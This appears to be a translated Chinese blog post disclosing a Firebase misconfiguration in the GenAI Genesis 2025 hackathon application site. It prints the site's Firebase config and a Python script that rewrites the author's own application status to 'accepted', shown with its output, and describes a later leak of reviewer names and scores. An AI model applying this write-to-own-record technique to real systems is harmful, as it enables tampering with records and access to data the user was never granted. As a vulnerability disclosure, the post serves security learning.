How I accepted myself into Canada's largest AI hackathon

i <3 Firebase

2025年3月19日 · 4 分钟 · 846 字 · fastcall

目录

在网上和朋友之间,关于在我所在的学校,多伦多大学举办的生成式 AI Hackathon,GenAI Genesis 2025 的讨论非常热烈,所以我决定申请参加。虽然那个周末我非常忙,但我还是希望到 Hackathon 举办的时候,我的时间表能空出来。接下来发生的一系列事件,让我发现了一个漏洞,可以在申请正式结束之前,自己接受自己的 Hackathon 申请。

故事时间!

凌晨 3 点在网站上注册账号后,我突然意识到当时还有更重要的事情要做(比如睡觉),所以决定第二天再申请。奇怪的是,我的密码管理器(KeePassXC,有兴趣的可以了解一下)没有保存我的密码,所以我不得不重置它:

你好,
请点击此链接重置您的 genai-hackathon-2024 账户 (<email>) 密码。
https://genai-hackathon-2024.firebaseapp.com/__/auth/action?mode=resetPassword...
如果您没有要求重置密码,请忽略此邮件。
谢谢,
您的 genai-hackathon-2024 团队 (2024?)

我收到了一封链接到 firebaseapp.com 域名的站点的邮件,这让我想起了我读过的无数 博客文章文章,都是关于人们发现 Firebase 错误配置的,我很好奇这个网站是否会更好一些。

开始了解

我开始测试之前见过的,容易发现的漏洞。但我没有像一些博客文章中那样使用 Firepwn,而是使用了名为 pyrebase 的 Python 库(或者说是支持更新 Python 版本的 fork 版本),它只是 Firebase API 的一个包装器。

但在使用任何工具之前,我首先需要从前端提取 Firebase 配置对象,我是通过搜索一些字段名称来完成的。配置对象仅用于 Firebase 的身份验证(即使是名字很奇怪的 apiKey),并且这些标识符都不应该是秘密。

n.ZF)({
  apiKey: "AIzaSyAAign9HlDM7bcdWhsIzeRlvNWbLglmuUY",
  authDomain: "genai-hackathon-2024.firebaseapp.com",
  databaseURL: "https://genai-hackathon-2024-default-rtdb.firebaseio.com",
  projectId: "genai-hackathon-2024",
  storageBucket: "genai-hackathon-2024.firebasestorage.app",
  messagingSenderId: o.env.NEXT_PUBLIC_FIREBASE_MESSAGING_SENDER_ID,
  appId: "1:212015883358:web:085918af35bc10d23100cf",
  measurementId: o.env.NEXT_PUBLIC_FIREBASE_MEASUREMENT_ID
});

在寻找配置对象时,我意识到我可以访问项目的原始源代码(在它被 webpacked 和 minified 之前)。这是可能的,因为 v9 之前的 sentry.io 默认将 source map 发布到生产环境devtools-src-code.png 继续测试容易发现的漏洞,我检查了是否存在对整个数据库的错误配置的读取访问权限。

import empyrebase
config = {
  "apiKey": "AIzaSyAAign9HlDM7bcdWhsIzeRlvNWbLglmuUY",
  "authDomain": "genai-hackathon-2024.firebaseapp.com",
  "databaseURL": "https://genai-hackathon-2024-default-rtdb.firebaseio.com",
  "storageBucket": "genai-hackathon-2024.firebasestorage.app",
  "projectId": "genai-hackathon-2024"
}
firebase = empyrebase.initialize_app(config)
auth = firebase.auth()
user = auth.sign_in_with_email_and_password("<email>", "<password>")
db = firebase.database()
print(db.get(user['idToken']))
# "error" : "Permission denied"

漏洞

到目前为止还没有发现任何问题,所以我决定检查网站如何与 Firebase 通信,我发现了一个非常 有趣 的设计选择。 firebase-operations.png 网站正在获取它存储的关于我的申请的 所有 用户数据,然后才解析接收到的数据,以获取它实际想要的内容。提交新申请时,它也会设置整个申请对象。

type statusOptions =
  | 'not started'
  | 'not completed'
  | 'submitted'
  | 'waitlisted'
  | 'rejected'
  | 'accepted'
  | 'admitted'
  | 'rejected offer';
const application = {
  userId: uid,
  applicationId: uid,
  applicationStatus: status as statusOptions,
  section1: {
  // boring actual hackathon application stuff
  }
  statusFlags: {
    reviewed: false,
    shortlisted: false,
    accepted: false,
    rejected: false,
    rsvp: false,
  },
};

注意到这一点后,我尝试发送一个 update 请求到数据库,将 applicationStatus 设置为 accepted

import empyrebase
import sys
firebase = empyrebase.initialize_app(config)
auth = firebase.auth()
user = auth.sign_in_with_email_and_password(sys.argv[1], sys.argv[2])
db = firebase.database()
application_info = db.child("applications").child(user["localId"]).get(user["idToken"])
application = db.child("applications").child(user["localId"])
print("before:")
for row in application_info.each():
  if row.key() == "applicationStatus":
    print(f"applicationStatus: {row.val()}")
  if row.key() == "statusFlags":
    print(f"statusFlags: {row.val()}")
dict = {
  "applicationStatus": "accepted",
  "statusFlags": {
    "accepted": True,
    "rejected": False,
    "reviewed": True,
    "shortlisted": True,
  },
}
application.update(dict, user["idToken"])
application_info = db.child("applications").child(user["localId"]).get(user["idToken"])
print("after:")
for row in application_info.each():
  if row.key() == "applicationStatus":
    print(f"applicationStatus: {row.val()}")
  if row.key() == "statusFlags":
    print(f"statusFlags: {row.val()}")
$ python genai.py
before:
applicationStatus: submitted
statusFlags: {'accepted': False, 'rejected': False, 'reviewed': False, 'shortlisted': False}
after:
applicationStatus: accepted
statusFlags: {'accepted': True, 'rejected': False, 'reviewed': True, 'shortlisted': True}

成功了 :D

额外漏洞:信息泄露

在披露了最初的漏洞后,我发现虽然现在无法写入该网站本身不修改的任何值,但由于该网站仍然获取整个应用程序对象,因此您仍然可以读取有关您自己应用程序的敏感信息,例如提前获得您的应用程序的接受状态、您的审核员的全名、他们对您的任何评论以及他们对您的应用程序的总体评分。(审核员的姓名已出于隐私考虑而被删除) reviewed-1.png reviewed-2.png reviewed-3.png 后来我验证了维护人员通过修改站点以具有特定的函数来获取它所需要的内容,从而完全修复了这个问题,从而可以进一步收紧数据库规则。

披露时间线 (mm/dd/yyyy)

结论

感谢您阅读到最后!我希望您喜欢阅读这篇博客文章,就像我喜欢制作它一样! ps,您应该在X/Twitter上关注我,我是一名发布一些很酷的东西的新生 :)